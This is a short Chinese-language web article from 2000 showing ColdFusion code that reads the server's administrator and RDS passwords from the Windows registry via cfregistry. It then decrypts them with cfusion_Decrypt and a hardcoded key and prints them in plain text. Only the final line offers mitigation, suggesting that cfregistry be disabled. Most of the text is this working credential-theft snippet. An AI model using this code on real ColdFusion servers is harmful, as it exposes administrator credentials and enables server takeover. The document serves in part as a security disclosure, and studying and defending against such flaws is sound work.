文章作者 : linkfoxo [ fengjf@novasprint.com ] Web URL : http://www.cfwindow.com
上载日期 : 2000-12-11
添加如下代码,就可以得到administrator的口令.
<CFSET PASSWORD_KEY = "4p0L@r1$">
<cfregistry action="GET"
branch="HKEY_LOCAL_MACHINE\SOFTWARE\Allaire\ColdFusion\CurrentVersion\Server"
entry="AdminPassword" variable="adminpassword" type="String">
<cfregistry action="GET"
branch="HKEY_LOCAL_MACHINE\SOFTWARE\Allaire\ColdFusion\CurrentVersion\Server"
entry="StudioPassword" variable="studiopassword" type="String">
<cfoutput>Admin Password: #evaluate("cfusion_Decrypt(adminpassword, PASSWORD_KEY )")#</cfoutput><br>
<cfoutput>RDS Password: #evaluate("cfusion_Decrypt(studiopassword, PASSWORD_KEY )")#</cfoutput>
所以你最好还是把cfregistry的功能去掉,以免被人埋下炸弹.
|